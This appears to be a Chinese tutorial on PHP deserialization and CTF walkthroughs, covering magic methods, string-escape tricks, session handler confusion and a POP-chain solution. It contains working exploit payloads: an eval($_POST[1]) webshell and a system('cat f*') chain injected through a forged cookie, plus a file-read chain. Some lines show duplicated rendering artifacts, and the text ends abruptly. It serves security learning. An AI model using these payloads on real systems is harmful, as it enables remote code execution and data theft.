零基础入门反序列化及常用trick

前言

反序列化是一个尤为重要的知识点,最近对反序列化进行了简单学习,并总结如下,希望能对正在学习的师傅有所帮助。

前提

了解序列化和反序列化

学习反序列化之前,首先要知道序列化,简单的举个栗子来说

<?php
$a='quan9i';
echo "----------初始数据------------<br>
";
echo $a."<br>
";
echo "-----------序列化后的数据-----------<br>
";
$b=serialize($a);
echo $b."<br>
";
echo "-----------反序列化序列化数据后的数据-----------<br>
";
$c=unserialize($b);
echo $c;
?>

在这里插入图片描述

序列化就是使数据持久化存储,因为数据用过后就会自动销毁,本来是无法进行存储的,当序列化时,就会把数据存储起来,而反序列化呢就是把序列化的数据恢复成最初的状态。
这里你会发现序列化的数据它带有s:6,其实是string型,6个字母的意思,对此再举个栗子

<?php
class xianzhi{ //创建一个类,类名为xianzhi
    public $age='19';//定义公共变量age,并赋值19
    public $name='quan9i';//定义公共变量name,并赋值quan9i
    public function __construct()//定义construct魔术函数,实例化此类时就会调用此方法
    {
      echo 'xianzhi  '.$this->name . ' is ' . $this->age . ' years old<br>
';//调用两个属性,输出一句话
    }
}
$a=new xianzhi();//实例化对象
echo serialize($a);//输出序列化后的
?>

此时的输出结果

xianzhi quan9i is 19 years old
O:7:"xianzhi":2:{s:3:"age";s:2:"19";s:4:"name";s:6:"quan9i";}

此时就可以看出序列化后这里有多个字母,下面依次来进行解释

O:7:"xianzhi":2:{s:3:"age";s:2:"19";s:4:"name";s:6:"quan9i";}
对象类型:长度:类名:变量个数:{类型:长度:"值";类型:长度:"值";类型:长度:"值";类型:长度:"值";}

字母的含义如下

a - array                  b - boolean
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

正常遇到的这种反序列化和序列化都是和PHP类与对象这部分知识点相关联的,所以我们需要简单了解类和对象这个知识点,同时掌握魔术方法的基础用法

魔术方法

常见魔术方法有以下几种

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发

这是整体的,但这样看似乎显得过于抽象,因此我们将其进行分类,依次进行举例讲解

__construct()与__destruct()

__construct : 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct : 和构造函数相反,当对象所在函数调用完毕后执行。


<?php
class bai{
	public $name;
	public $age;
	public function __construct()
    {
		echo "__construct()初始化<br>
";
		$this->name;
		$this->age;
	}
    public function __destruct()
    {
        echo "__destruct()执行结束";
    }		
 }
 $a=new bai(); //创建一个对象命名为a
 /*
 赋值
 $a->name='quan9i'; //给对象a里的name赋值为quan9i
 $a->age=19; //给对象a里的age赋值为19
 echo(serialize($a)); //输出序列化后的$a
 */

在这里插入图片描述
但这是一种,__destruct还有一种利用方式,就是__destruct() 对象被销毁时触发,它的栗子如下

<?php
class bai{
	public $name;
	public $age;
	public function __construct($name,$age)
    {
		echo "__construct()初始化<br>
";
		$this->name=$name;//将传入的第一个参数赋值给name变量
		$this->age=$age;
	}
    public function __destruct()
    {
        echo "__destruct()执行结束<br>
";
    }		
 }
 //主动销毁
 $a=new bai('quan9i',19);
 unset ($a);//主动销毁对象,此时先触发destruct魔法函数再echo
 echo"777<br>
";
 echo "------------分隔符----------------<br>
";
 //自动销毁
 $b=new bai('quan9i',19);
 echo "123<br>
";
 //此时先echo再触发destruct函数
?>

执行结果
在这里插入图片描述

__sleep()

__sleep()    serialize 之前被调用,可以指定要序列化的对象属性。


<?php
class bai{
	public $name;
	public $age;
	public function __construct($name,$age)
    {
		echo "__construct()初始化<br>
";
		$this->name=$name;
		$this->age=$age;
	}
    public function __sleep()
    {
        echo "当使用serialize时触发此方法<br>
";
        return array('name','age');
    }
}
$a=new bai('quan9i',19);
echo serialize($a);
?>

在这里插入图片描述

__wakeup()

__wakeup()   反序列化恢复对象之前调用该方法

实例如下

<?php
class bai{
	public $name;
	public $age;
	public function __construct($name,$age)
    {
		echo "__construct()初始化<br>
";
		$this->name=$name;
		$this->age=$age;
	}
    public function __wakeup()
    {
        echo "当使用unserialize时触发此方法<br>
";
        $this->age=1000;//更改$age的值为1000
    }
}
$a=new bai('quan9i',19);
$b= serialize($a);
var_dump(unserialize($b));
?>

在这里插入图片描述

__toString()

__toString() :在对象当做字符串的时候会被调用。

实例如下

<?php

class Test
{
    public $a = 'This is a string';

    public function good(){
        echo $this->a.'<br />';
    }

    // 在对象当做字符串的时候会被调用
    public function __toString()
    {
        return '__toString方法被调用 <br>
';
    }
}

$a = new Test();
$a->good();
echo $a;
?>

在这里插入图片描述

__invoke()

__invoke() :将对象当作函数来使用时执行此方法。

示例如下

<?php

class Test{
    public $data ="调用正常方法<br>
";

    public function __invoke()
    {
        echo"调用__invoke()方法";
    }
}
$a= new test();
echo $a();
?>

在这里插入图片描述

__get

__get() 访问不存在的成员变量时调用的

实例如下

<?php

class Test {
    public $n=123;
    public function __get($name){
        echo '__get方法被调用,其中不存在变量'.$name.'<br>
';
    }
}
$a = new Test();
echo $a->quan9i;//调用对象a中的变量quan9i,由于不存在quan9i这个变量,这时候就会调用__get魔术方法
?>

在这里插入图片描述

set

__set() :设置不存在的成员变量时调用的;


<?php

class xg{
    public $data = 100;
    protected $test=0;

    public function __set($name,$value){
        echo '__set 不存在成员变量 '.$name.'<br>
';
        $this->test=$value;
    }

    public function show(){
        echo $this->test;
    }
}

$a = new xg();
$a->show(); //调用Get方法,这里就是输出test的值
echo '<br>
';
$a->test= 777; // 给私有变量test赋值为777,但此时它是私有变量,就会调用__set,此时就会更改
$a->show();
echo '<br>
';
$a->quan9i = 566;// 设置对象不存在的属性
$a->show();// 经过__set方法的设置值为566
?>

在这里插入图片描述

在这里插入图片描述

不理解的话可以进行调试,可以看见这里在调用私有变量test后走向了__set魔术方法,然后 n a m e 就是我们调用的变量, name就是我们调用的变量, name就是我们调用的变量,value就是我们设置的值777
再看这个本来不存在的变量,它也是会调用这个__set魔术方法的,你可以在这里打断点,调试一下会发现此时这里设置了 n a m e = q u a n 9 i , name=quan9i, name=quan9ivalue=566
在这里插入图片描述

__call()

__call :当调用对象中不存在的方法会自动调用该方法

示例如下

<?php

class Test{
    public $data ="调用正常方法<br>
";
    public function __call($name,$value){
        echo "__call被调用,Test类中不存在方法".$name.'<br>
';
        var_dump($value);
    }
    public function show(){
        echo $this->data;
    }
}
$a= new test();
$a->show(); //调用正常方法
echo"--------------------分隔符----------------<br>
";
$a->quan9i('quan9i',123); //调用一个不存在的方法,此时就调用了__call魔术方法

?>

在这里插入图片描述

isset()

__isset() : 检测对象的某个属性是否存在时执行此函数。

实例如下

<?php

class test{
    public $name;
    private $age;

    public function __construct($name, $age){
        $this->name = $name;
        $this->age = $age;
    }

    // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
    public function __isset($content){
        echo "当使用isset()函数,自动调用<br>
";
        return isset($this->$content);
    }
}

$a = new test("quan9i", 19);
// public 成员
echo ($a->name),"<br>
";
// private 成员
echo isset($a->name);
echo "-----------分隔符--------------<br>
";
echo isset($a->age);
?>

可以发现私有属性时会调用issset魔术方法(调用protect的属性也会调用)
在这里插入图片描述

__unset()

__unset() :在不可访问的属性上使用 unset () 时触发

实例如下

<?php

class test{
    public $name;
    private $age;

    public function __construct($name, $age){
        $this->name = $name;
        $this->age = $age;
    }

    public function __unset($content){
        echo "当使用unset()函数,自动调用<br>
";
        echo "quan9i will be the best";
    }
}

$a = new test("quan9i", 19);
// public 成员
unset($a->name);
echo "<br>
";
// private 成员
echo "-----------分隔符--------------<br>
";
unset($a->age);
echo "<br>
";
?>

在这里插入图片描述

可以发现当对一个公有属性进行unset的时候,会删除它,而私有变量则会调用unset函数

常用魔术函数汇总例子

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
  echo $this->varr1."<br>
";
 }
 public function __construct(){
  echo "__construct<br>
";
 }
 public function __destruct(){
  echo "__destruct<br>
";
 }
 public function __toString(){
  return "__toString<br>
";
 }
 public function __sleep(){
  echo "__sleep<br>
";
  return array('varr1','varr2');
 }
 public function __wakeup(){
  echo "__wakeup<br>
";
 }
}

$obj = new test();  //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();   //调用echoP()方法,输出"abc"
echo $obj;    //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj);  //obj对象被序列化,调用__sleep()方法,输出__sleep
echo $s.'<br>
';//sleep返回的信息此时被输出
echo unserialize($s);  //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。后面这个是一个对象,因此会执行一次__destruct方法
// 结束又会调用__destruct()方法,输出__destruct
?>

在这里插入图片描述

常考类型

反序列化字符串逃逸

首先来介绍一下这个str_replace函数

str_replace 
str_replace — 子字符串替换
说明 
mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

而后看如下代码

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里的话也就是序列化后的msg变量中的fuck会被loveU替换
这里涉及到一个知识点,就是反序列化字符逃逸,首先对这个知识点进行讲解
它其实就是在遇到替换函数时,加上修改的语句,同时构造出正确的序列化文本,使其能够正常进行反序列化,就达到了字符逃逸目的,具体文章可以参考Y4大师傅的[这篇文章](https://blog.csdn.net/solitudi/article/details/109043560?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165502786716781432968408%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165502786716781432968408&biz_id=0&utm_medium=distribute.pc_search_result.none-
task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-1-109043560-null-
null.nonecase&utm_term=%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8&spm=1018.2226.3001.4450)
我再以例子为讲解
比如说

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $quan9i='0';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

首先我们给它来个简单的赋值

$a=new message('x','y','z');
echo serialize($a);

此时它的输出结果为

O:7:"message":4:{s:4:"from";s:1:"x";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"0";}

这时候我们使用替换函数str_replace再来尝试

$a=new message('x','y','z');
$b=str_replace('x','qq',serialize($a));
echo $b;

此时我们看一下结果

O:7:"message":4:{s:4:"from";s:1:"qq";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"0";}

此时你就会发现s:1:"qq";里面说只有1个字符,但是存在qq两个字符,这时候就存在了字串符逃逸。我们这里就假设quan9i为1的时候可以获取flag,我们该如何做呢?
将后面的添加到x的后面,即";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"0";}这部分,具体如下

$a=new message('x";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}','y','z');

";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}这部分是59个字符,那我们此时添加58个x
,构造出59个x,与后面字符保持一致,具体如下

$a=new message('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}','y','z');

此时我们输出一下它

$a=new message('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}','y','z');
$b=str_replace('x','qq',serialize($a));
echo $b;

得到结果

O:7:"message":4:{s:4:"from";s:118:"qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"0";}
//;}实现了闭合,后面的不再看,所以后面的那个quan9i为0就不会生效,也不会影响反序列化

此时显示有118个字符,而qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq也正好是118个,与其字符匹配,此时就构造出了quan9i为1,我们输出一下来进行验证

$a=new message('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"msg";s:1:"y";s:2:"to";s:1:"z";s:6:"quan9i";s:1:"1";}','y','z');
$b=str_replace('x','qq',serialize($a));
$c= unserialize($b);
var_dump($c);

在这里插入图片描述
此时也就达到了我们的目的,成功的实现了反序列化的字符串逃逸

绕过正则函数

在做部分题时会遇到如下代码

preg_match('/^O:\d+/')

他的含义呢就是以O开头的,类似于O:6这种的就会被过滤掉,而绕过方法呢,就是在这里加上一个+号,也就是O:+6,就可以成功绕过。

利用引用

&这个符号跟在一个变量前,被赋值给另一个变量时,另一个变量变化时,这个变量的值也会受到影响,具体例子如下

<?php
$a='we are best';
$b=&$a;
echo "$a\t";
$b='quan9i is good';
echo $a;

输出
在这里插入图片描述
因此当要求两个变量完全相等时,可以用&来进行绕过

session反序列化

session反序列化,需要了解什么是session

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web
页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web
页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session是如何发挥其作用的呢

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session
ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session
ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion
ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session
ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

在session反序列化中通常还用到了session_start()函数,此函数的简单介绍如下

当会话自动开始或者通过 session_start() 手动开始的时候, PHP
内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到
$_SESSION
超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-
cookie。

此时对session有了一定的了解,再来说一下session对反序列化的三种存储方式
先简单介绍一下三种存储方式

选择器			存储格式													示例
php_serialize	经过 serialize() 函数序列化数组							a:1:{s:4:“name”;s:5:“ocean”;}
php(默认)		键名 竖线 经过 serialize() 函数处理的值					name|s:5:“ocean”;
php_binary		键名的长度对应的ascii字符 键名 serialize() 函数序列化的值	name s:6:“spoock”;

这里的话简单讲解一下php_serializephp两种存储方式

<?php
session_start();
$_session['quan9i']='ssss';
?>
//没写存储方式,默认的话就是php

在这里插入图片描述
此时我们去临时目录下查看此文件
在这里插入图片描述
其内值如下

aaa|s:3:"bbb";quan9i|s:3:"sss";
//php的结果

此时我们再更换方式为php_serialize

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['quan9i']='sss';
?>

其内值如下

a:1:{s:6:"quan9i";s:3:"sss";}

可以发现前者的话有个|,|前面是类名,后面是值,后面则不然,如若此时我们在后面加上|,举个栗子

a:1:{s:6:"quan9i";|s:3:"sss";}

此时用php序列化来读当然是没问题,但是当用php来读时,a:1:{s:6:"quan9i";就会被视为键名,而s:3:"sss";}会被视为键值,那么此时后面的我们可以任意写,题目中出现的任何类我们这里都可以进行调用

POP链构造

以MRCTF为例进行讲解,题目代码如下

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>
";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

我们通过观察可以发现,Modifier类的append函数可以实现文件包含,那毋庸置疑它就是本题的突破口,我们看到append函数是__invoke魔术函数来调用的,这个魔术函数是当对象被当做函数调用时触发,那么此时我们就找带()的,这种如果把它变成对象肯定就可以触发,这时候就发现Test类中的__get魔术函数,它是当访问不存在的变量时触发,那么在这里的话就看到show类中的__toString魔术方法,而__tostring是当对象被视为字符串时调用,此时就又走到了__wakeup函数这里,因为它后面是$this->source,我们只需要将source变成对象,就可以触发__tostring魔术函数,__wakeup是当有unserialize()时调用,我们可以看到题目代码中一旦我们传入pop参数,就会进行反序列化

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

此时推理就完成了,接下来构造对应的pop链即可

<?php
//flag is in flag.php 
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>
";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));

传值给pop参数
在这里插入图片描述
base64解码得flag
在这里插入图片描述

实战

简单类型(读懂代码)

0X01

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这里的话没有涉及魔术方法,魔术方法指的是以_开头的,然后我们先不看类,先看它执行的代码,也就是这一部分

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser(); //实例化类
    if($user->login($username,$password)){ //login方法调用传入的变量user
        if($user->checkVip()){ 
            $user->vipOneKeyGetFlag(); 
        }
    }else{
        echo "no vip,no flag";
    }
}

这一部分的话可以看出是get传入username和password,然后有一个条件语句,当得到username和password变量时往下执行,此时实例化了类,然后依次用三种方法调用了传入的变量user,此时我们再看上面的类

class ctfShowUser{
    public $username='xxxxxx'; //公共变量,设置username为xxxxxx
    public $password='xxxxxx';//设置password为xxxxxx
    public $isVip=false; //设置isvip为false

    public function checkVip(){ 
        return $this->isVip;// 定义属性
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
       //如果传入的username变量与password变量和$username与$password相同
            $this->isVip=true;
            //就将isvip改为true
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

因此此时的话我们就按要求,传入username和password都等于xxxxxx,即可使得isvip为true,此时的话就会执行checkvip,然后checkvip是得到这个isvip的值,然后是true,此时就再往下执行,进入这个vipOneKeyGetFlag方法,然后里面的是有这样一个检测if($this->isVip),因为isvip是true,所以就往下执行,这时候就输出了flag,因此我们的payload就是

username=xxxxxx&password=xxxxxx

0X02

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这里的话我们就可以看出对user进行了一次反序列化,然后这个当username和password匹配成功时不会更改isvip为true,这时候我们就可以本地来更改它这个值,然后实例化这个类,引用Y4师傅的话来解释反序列化和序列化

序列化将对象保存到字符串,反序列化将字符串恢复为对象

然后我们本地得到序列化的时候需要进行url编码,具体如下所示

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
echo(urlencode(serialize(new ctfShowUser())));
?>

然后此时就可以得到它实例化类的值,它这个user是由cookie里的user得到的,因此我们新添一个cookie为user,且值为我们刚刚得到的值即可通过第一层检测
在这里插入图片描述
然后第二次检测的话是要求值和设定的相同,所以这时候就需要我们传入的username和password为xxxxxx了,所以我们此时构造payload如下

username=xxxxxx&password=xxxxxx

进行传入即可
不理解的话可以进行本地测试

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
var_dump(unserialize(serialize(new ctfShowUser())));
?>

看此时它构造的语句,可以往下执行,得到flag
在这里插入图片描述

0X03

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);类
    $user->login($username,$password);
}

这里的话用到了魔术方法,对魔术方法进行一个简单的介绍

__construct():当对象被创建的时候自动调用,对对象进行初始化。
__destruct():和构造函数相反,当对象所在函数调用完毕后执行

然后此时我们看它整个流程的话,就是创建对象时初始化这个info类,然后对username和password进行了一个检测,然后此时执行完了,就需要释放序列化的对象,此时就用到了这个_destruct类,这个类是调用了getinfo方法,然后它是输出了username,这里的话就是输出了xxxxxx
然后你看这时候有个backdoor类没有使用,反序列化的宗旨就是不改代码,但可以更改它的属性,我们这里如果想利用这个backdoor类,那我们将它的class属性更改为backdoor,此时就执行了backdoor里的,然后它里面的方法是eval了 c o d e ,那我们就可以定义这个 code,那我们就可以定义这个 code,那我们就可以定义这个code为一句话木马或者其它,此时就可以进行rce
代码如下

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}
echo(urlencode(serialize(new ctfShowUser())));

此时get传username和password随便传个参数,然后post上传1即可进行
或者直接构造语句
代码如下

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

而后抓包修改cookie并随意设置用户名和密码即可
在这里插入图片描述

字符串逃逸

0X01(字符串增多)

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

可以看出这里是检测cookie的msg变量,那么一会构造完放cookie里即可,然后要求是token等于admin,此时我们就可以开始构造

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$a= new message('fuck','b','c');
echo serialize($a);
?>

得到

O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

此时我们修改后面的token为s:5:"admin",然后添加到fuck的后面

$a= new message('fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}','b','c');

由于";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}共61个字符,所以我们构造出61个user,如下

$a= new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

此时加上过滤条件,同时看是否一致

$a= new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$b=str_replace('fuck', 'loveU', serialize($a));
echo $b;

得到

O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

310个,后面的loveU的总数也正好是310个,此时就构造好了,然后看题目里有个base64解码,所以我们加上base64加密即可

$a= new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$b=str_replace('fuck', 'loveU', serialize($a));
echo base64_encode($b);

得到

